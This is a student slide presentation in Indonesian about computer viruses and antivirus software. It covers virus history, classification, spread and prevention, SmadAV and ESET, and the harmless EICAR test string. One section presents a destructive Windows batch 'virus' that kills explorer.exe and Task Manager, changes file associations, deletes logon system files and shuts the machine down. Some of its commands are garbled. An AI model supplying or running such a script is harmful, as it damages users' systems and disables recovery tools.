Persentasi Arsitektur Komputer

Tentang Virus dan Antivirus

KomputerDisusun Oleh1. Ade Lukmana2. Ayi Romansyah3. Dadi Warnadi4. Deni Setiawan5. Fijar Nurul Ardian6. Tiara Sukmawati7. Yuen Nitami Rakasiwi

Kelompok 6

Tujuan• Menjelaskan apa itu virus komputer• Menjelaskan klasifikasi virus komputer• Menjelaskan jenis-jenis virus computer• Meninjau jenis-jenis daerah infeksi virus dan

macam-macam media penyebarannya• Mengetahui Salah satu cara membuat virus• Mengetahui Tips Antisipasi terhadap virus• Menjelaskan apa itu anti virus computer• Menjelaskan salah satu antivirus local• Menjelaskan salah satu antivirus luar negeri

Apa Itu Virus Komputer

• Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain.

• Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.

• Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

ASAL MUASAL VIRUS• 1949, John von Neumann, menggungkapkan ” teori self altering

automata ” yang merupakan hasil riset dari para ahli matematika.

• 1960, Lab BELL (AT&T), para ahli di lab BELL (AT&T) mencoba-coba teori yang diungkapkan oleh John von Neumann, dengan membuat suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain, akan dianggap sebagai pemenangnya.

• 1975 - Penulis kisah sci-fi, John Brunner, membayangkan suatu worm komputer menyebar melalui jaringan.

• 1984 - Fred Cohen mengenalkan istilah virus komputer di dalam thesisnya. • 1986 - Virus komputer pertama bernama Brain ditulis oleh dua orang bersaudara di Pakistan. • 1987 - Worm yang bernama Christmas tree menyerang jaringan komputer IBM. • 1988 - Worm internet menyebar pada jaringan US DARPA. • 1992 - Terjadi kepanikan di dunia terhadap virus Michelangelo. • 1994 - Good Times, virus hoax pertama muncul di dunia. • 1995 - Virus dokumen pertama yang bernama Concept, hadir di dunia. • 1998 - CIH atau Chernobyl menjadi virus pertama yang mampu untuk mengganggu hardware

komputer. • 1999 - Mellisa, virus yang menyebarkan dirinya melalui e-mail menyebar ke seluruh dunia.

Kemudian virus Bubbleboy, menjadi virus pertama yang mampu menginfeksi komputer ketika Anda membaca e-mail Anda.

• 2000 - Love Bug, menjadi virus e-mail yang sukses. Pada saat itu juga ditemukan virus pada sistem operasi Palm.

• 2001 - Virus yang mengklaim dirinya berisi foto pemain tenis Anna Kournikova menginfeksi ribuan komputer di seluruh dunia.

• 2002 - David L Smith, pembuat virus Mellisa, diputus oleh pengadilan Amerika untuk di penjara selama 20 bulan.

• 2003 - Worm Blaster menyebar di internet dengan memanfaatkan kelemahan pada sistem operasi Windows. Pada saat yang sama juga menyebar virus e-mail yang bernama Sobig, ini membuat bulan Agustus 2003 menjadi bulan terburuk untuk insiden virus pada tahun tersebut.

• 2004 - Pembuat worm Netsky dan Bagle saling bersaing untuk meraih efek yang paling besar.

KRITERIA VIRUSSuatu program dapat disebut sebagai suatu virus apabila memenuhi minimal 5 kriteria berikut :• Kemampuan untuk mendapatkan informasi. • Kemampuan untuk memeriksa suatu file. • Kemampuan untuk menggandakan diri dan menularkan

diri. • Kemampuan melakukan manipulasi. • Kemampuan untuk menyembunyikan diri.

Kemampuan untuk mendapatkan informasi • Pada umumnya suatu virus memerlukan daftar nama-nama file

yang ada dalam suatu directory. Untuk apa? Agar dia dapat memperoleh daftar file yang bisa dia tulari. Misalnya, virus makro yang akan menginfeksi semua file data MS Word, akan mencari daftar file berekstensi *.doc.

Kemampuan memeriksa suatu

program• Suatu virus juga harus bisa memeriksa suatu file yang akan ditulari, misalnya dia bertugas menulari program berekstensi *.doc, maka dia harus memeriksa apakah file dokumen tersebut telah terinfeksi ataupun belum, karena jika sudah, akan percuma menularinya lagi.

Kemampuan untuk menggandakan diri

• Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari file lainnya. Suatu virus apabila telah menemukan calon korbannya maka ia akan mengenalinya dengan memeriksanya. Jika belum terinfeksi maka sang virus akan memulai aksinya penularan dengan cara menuliskan byte pengenal pada file tersebut, dan seterusnya mengcopikan/menulis kode objek virus diatas file sasaran. Beberapa cara umum yang dilakukan oleh virus untuk menulari/menggandakan dirinya adalah :File yang akan ditulari dihapus atau diubah namanya. Kemudian diciptakan suatu file berisi program virus itu sendiri menggunakan nama file yang asli.Program virus yang sudah dieksekusi/load ke memori akan langsung menulari file-file lain dengan cara menumpangi seluruh file yang ada.

Kemampuan mengadakan/manipula

si• Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus menulari suatu file. Isi dari suatu rutin ini dapat beragam mulai dari yang tidak berbahaya sampai yang melakukan perusakan. Rutin ini umumnya digunakan untuk memanipulasi file atau pun mempopulerkan pembuatnya. Rutin ini memanfaatkan kemampuan dari suatu sistem operasi (Operating System), sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem operasi. Misal : • Membuat gambar atau pesan pada monitor. • Mengganti/mengubah-ubah label dari tiap file, direktori,

atau label dari drive di PC. • Memanipulasi file yang ditulari. • Merusak file. • Mengacaukan kerja printer, dsb.

Kemampuan Menyembunyikan diri• Kemampuan menyembunyikan diri ini harus dimiliki

oleh suatu virus agar semua pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana.Langkah langkah yang biasa dilakukan adalah:• Program virus disimpan dalam bentuk kode mesin dan

digabung dengan program lain yang dianggap berguna oleh pemakai. • Program virus diletakkan pada Boot Record atau track

pada disk yang jarang diperhatikan oleh komputer itu sendiri. • Program virus dibuat sependek mungkin, dan hasil file

yang diinfeksi tidak terlalu berubah ukurannya.

Klasifikasi Virus Komputer

• Worm (I-Worm/Happy99(Ska), I-Worm/ExploreZIP, Sobig,

Nimda, Code Red, Sircam.)• Trojan Horse (Win-Trojan/Back Orifice,

Win-Trojan/SubSeven, Win- Trojan/Ecokys(Korean)

• Malicious toolkit/virus generator• Spyware• Rootkit• Polymorphic Virus • Metamorphic Virus • Virus Telepon Seluler • Backdoor

Cara Penyebaran Virus• Disket, Flasdisk, media storage R/W

Media penyimpanan eksternal dapat menjadi sasaran empuk bagi virus untuk dijadikan media. Baik sebagai tempat menetap ataupun sebagai media penyebarannya. Media yang bias melakukan operasi R/W (Read dan Write) sangat memungkinkan untuk ditumpangi virus dan dijadikan sebagai media penyebaran.

• Jaringan ( LAN, WAN,dsb) Hubungan antara beberapa computer secara langsung sangat memungkinkan suatu virus ikut berpindah saat terjadi pertukaran/pengeksekusian file yang mengandung virus.

• WWW (internet) Sangat mungkin suatu situs sengaja ditanamkan suatu ? virus? yang akan menginfeksi komputer-komputer yang mengaksesnya.

• Software yang Freeware, Shareware atau bahkan Bajakan Banyak sekali virus yang sengaja ditanamkan dalam suatu program yang disebarluaskan baik secara gratis, atau trial version.

• Attachment pada email, transfering file Hampir semua jenis penyebaran virus akhir-akhir ini menggunakan email attachment dikarenakan semua pemakai jasa internet pastilah menggunakan email untuk berkomunikasi, file-file ini sengaja dibuat mencolok/menarik perhatian, bahkan seringkali memiliki ekstensi ganda pada penamaan filenya.

Dapatkah telepon seluler terkena virus?

• Telepon seluler dapat terinfeksi oleh virus worm yang menyebarkan dirinya melalui jaringan telepon seluler, meskipun sampai tulisan ini diturunkan belum begitu banyak risiko yang ditimbulkannya. Pada tahun 2004, worm pada telepon seluler pertama kali ditemukan. Worm Cabir-A ini menyerang telepon seluler yang menggunakan sistem operasi Symbian. Worm ini menyebarkan dirinya sendiri dan nampak seperti game dengan format file SIS. Jika Anda menjalankan file ini, maka akan muncul pesan pada layar dan worm akan jalan setiap kali Anda menyalakan telepon seluler. Cabir-A akan mencari telepon seluler lain di sekitarnya dengan memanfaatkan teknologi Bluetooth dan akan mengirimkan dirinya sendiri ke telepon seluler tersebut. Worm ini membuktikan kepada publik bahwa infeksi virus pada telepon seluler sudah terjadi dan wajib diwaspadai. Ada juga virus konvensional yang mengirimkan pesan ke telepon seluler. Contohnya Timo-A, yang menggunakan modem komputer untuk mengirimkan SMS ke nomor telepon seluler tertentu. Tetapi virus ini tidak sampai menginfeksi atau merusak telepon seluler. Sampai tulisan ini dipublikasikan, memang virus pada telepon seluler belumlah begitu banyak. Ini disebabkan karena banyaknya sistem operasi yang ada dan juga karena karakteristik baik software maupun device yang cepat berubah. 

Mencegah Masuknya Virus

• Install program anti-virus dan update-lah secara reguler• Jangan membuka attachment email dari orang yang tidak dikenal• Backup data secara berkala• Non aktifkan fasilitas autorun pada komputer kita, sehingga CD-ROM

maupun flashdisk yang kita masukkan ke komputer tidak langsung menjalankan file yang ada di dalamnya Jangan menginstall software yang pembuatnya tidak jelas (tidak dapat dipercaya)

• Jika anda terhubung langsung ke Internet cobalah untuk mengkombinasikan antivirus anda dengan Firewall, Anti-spamming dsb

• Selalu waspada terhadap fle-file yang mencurigakan, contoh : file dengan 2 buah exstension atau file executable yang terlihat mencurigakan

• Selalu scanning semua media penyimpanan eksternal yang akan digunakan, mungkin hal ini agak merepotkan tetapi jika auto-protect antivirus anda bekerja maka prosedur ini dapat dilewatkan.

• Periksa setiap flashdisk yang dimasukkan apakah ada file autorun.inf, jika ada coba dilihat isinya, jika mengacu ke sebuah file .exe, .dll atau .scr yang aneh / hidden, segera hapus file-nya atau scan dengan antivirus Tampilkan semua ekstensi file windows, termasuk file system windows. Caranya : Di windows explorer buka menu Tools > Folder Options… kemudian pilih tab view Kemudian pilih (aktifkan) opsi “show hidden files and folder”, hilangkan check pada pilihan “Hide extensions for known file types” juga hilangkan tanda check pada “Hide protected operating system files (Recommended)”.

Membuat Virus Sederhana

• Mebuat Virus Komputer sederhanaCaranya cukup Mudah hanya dengan Notpad, kita tinggal menulis listing/coding virus lalu save dengan extensi .bat.

Contohnya, Virus ini dapat menyerang:

• 1. Menghapus, SMARTP.exe• 2. Menghapus, Explorer.exe (taskbar dan ikon akan hilang)• 3. Menghapus, Taskmanager.exe• 4. Mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)• 5. Mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)• 6. Menghapus Login / Logoff Screens

Code Program Virus• title virus is my kelompok 6• color 0A• @echo off• set end=md “u cant eascape from me-kelompok6”• set fin=copy “Hack log.txt” “Installing”• %end%• %fin%• net send * kelompok6 virus- virus created in kelompok6 from kelompok6 corp• kill SMARTP.exe /F /Q *Kita bisa menambahkan program2 apa yg mau di matikan• kill Taskmanager.exe /F /Q• kill explorer.exe /F /Q• cls• assoc .exe=txtfile• assoc .txt=mp3file• assoc .mp3=.vcf• cls• msg * Jagalah kesehatan.• msg * kelompok 6 attcked the system try to challenge him .• DEL C:\WINDOWS\system32\logoff.exe /F /Q• DEL C:\WINDOWS\system32\logon.exe /F /Q• DEL C:\WINDOWS\system32\logon.scr /F /Q• cls• shutdown

Demo Virus ParentsVirus Parents

• virus ini menciptakan sebuah file teks yang berisi sedikit pesan dari sang

pembuatnya, namun tidak hanya itu saja karena saat virus aktif, komponen Timer

pada virus tersebut akan mencocokan waktu di komputer Anda, apabila

menunjukkan pukul 12:10:00, atau 15:10:00 ia akan menampilkan kotak pesan

lainnya. Dan pada 09:10:00 ia akan meng-copy-kan setiap file virus ke setiap

drive. Juga dengan memanfaatkan registry, ia mengubah setting-an halaman

default dari Internet Explorer Anda menjadi http:// www.sampoernafoundation.org

• START

ANTI VIRUS KOMPUTER• Antivirus adalah sebuah jenis perangkat lunak

yang digunakan untuk mendeteksi dan menghapus virus komputer dari sistem komputer. Disebut juga Virus Protection Software.

• Aplikasi ini dapat menentukan apakah sebuah sistem komputer telah terinfeksi dengan sebuah virus atau tidak. Umumnya, perangkat lunak ini berjalan di latar belakang (background) dan melakukan pemindaian terhadap semua berkas yang diakses (dibuka, dimodifikasi, atau ketika disimpan).

• Program antivirus mampu mendeteksi virus dan mencegah akses ke dokumen yang terinfeksi dan juga mampu menghilangkan infeksi yang terjadi. Program pemindai virus merupakan jenis yang paling populer dalam dunia antivirus, tetapi program-program seperti ini harus sering diperbarui agar mampu mengenali virus-virus baru. Secara umum ada dua jenis program antivirus, yaitu on-access dan on-demand scanner. Banyak peerusahaan yang menawarkan gabungan dua jenis program tersebut dalam satu paket. • On-access scanner akan selalu aktif dalam sistem

komputer selama Anda menggunakannya. Pemindai jenis ini akan secara otomatis memeriksa dokumen-dokumen yang Anda akses dan dapat mencegah Anda menggunakan dokumen yang sudah terinfeksi oleh virus komputer.

• On-demand scanner membiarkan Anda yang akan memulai aktivitas pemindaian terhadap semua dokumen di komputer Anda. Ini juga bisa Anda atur agar bisa dilakukan secara periodik dengan menggunakan penjadwal.

Antivirus Lokal• Contohnya adalah SmadAV• SmadAV adalah Antivirus lokal tak berbayar

(freeware) yang dikhususkan untuk mengatasi virus–virus lokal ataupun mancanegara yang menyebarluas di Indonesia. SmadAV dapat berjalan dengan baik pada Platform Windows 2000, XP, atau Vista dan windows7.

Keunggulan SmadAv• SmaRT-Protection• Scanner Pintar• Cleaner• Pembersihan & perbaikan Registry• Update• Senjata Manual sangat mudah digunakan• Gratis• Team Smadav adalah team professional• Portable dan support semua OS Windows• Situs antivirus terbaik dan terlengkap• Fitur Rahasia

Antivirus Internasional• Contohnya Adalah ESET Smart Security 4• ESET Smart Security adalah antivirus

internasional yang menawarkan Solusi cerdas terpadu untuk mengamankan komputer rumah Anda dari virus, Trojans, worms, spyware, adware, rootkit, serangan hacker, serangan phishing dan spam. ESET Smart Security meliputi antivirus, antispyware, antispam, firewall pribadi.

Keunggulan• Cepat dan Ringan!• Always Update• Trough Scan• Premium Tapi Gratis Tanpa Harus Crack!• Antivirus ini sama seperti antivirus semacam

Kasperky Internet Security, antivirus ini akan memberi anda kenyamanan dan keamanan sewaktu anda terkoneksi internet. Namun, ESET menjanjikan bekerja lebih cepat daripada teknologi yang digunakan oleh para pesaingnya.

Tips tes antivirus• Buka Notepad kamu, lalu copy dan paste kode dibawah ini di

notepad kamu.• X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-

STANDARD-ANTIVIRUS-TEST-FILE!$H+H*• Teks yang dipaste harus dalam keadaan Horizontal.• Lalu Save As Notepad kamu dengan ekstension .com, nama

terserah Anda.• Contoh : Kelompok6.com• Jika beberapa saat setelah kamu melakukan Save As file

tersebut dan antivirus kamu langsung mendeteksi sebagai virus maka antivirus kamu berarti bekerja dengan baik.

• Jangan takut file yang tadi kita buat tidak akan menginfeksi komputer kita walaupun terdeteksi oleh anti virus.Text Code Yang Saya tuliskan diatas adalah Standard Text yang digunakan Oleh Para Developer Anti Virus Khususnya Oleh EICAR (European Institute for Computer Anti-virus Research).

• EICAR sendiri merupakan badan yang fokus dalam bidang virus dan mereka menciptakan sebuah standarisasi terhadap antivirus.Standarisasi ini digunakan untuk melihat reaksi antivirus ketika mendeteksi file yang dibuat oleh EICAR yaitu text file yang tadi kita buat dengan notepad.Jika Antivirus tidak mendeteksi apapun, segera unistall dan ganti Antivirus Surfers, karena antivirus tersebut tidak memenuhi Standar!

Kesimpulan• Virus dapat mengganggu kinerja komuter dan

juga menghambat pekerjaan kita.• Mengetahui jenis,teknik,klasifikasi,media

penyebaran dan cara mengatasi virus.• Mengetahui cara pembuatan virus, dan dampak

yang terjadi bila komputer terkena sebuah virus.• Mengenal antivirus lokal dan internasional• Mengetahui tips dan trik mengatasi virus dan

menguji antivirus kita.• Mengetahui sebarapa pentingnya penanganan

virus komputer.

THE END

Kelompok 6

SponsorED By

www.riungantia2009.blog.com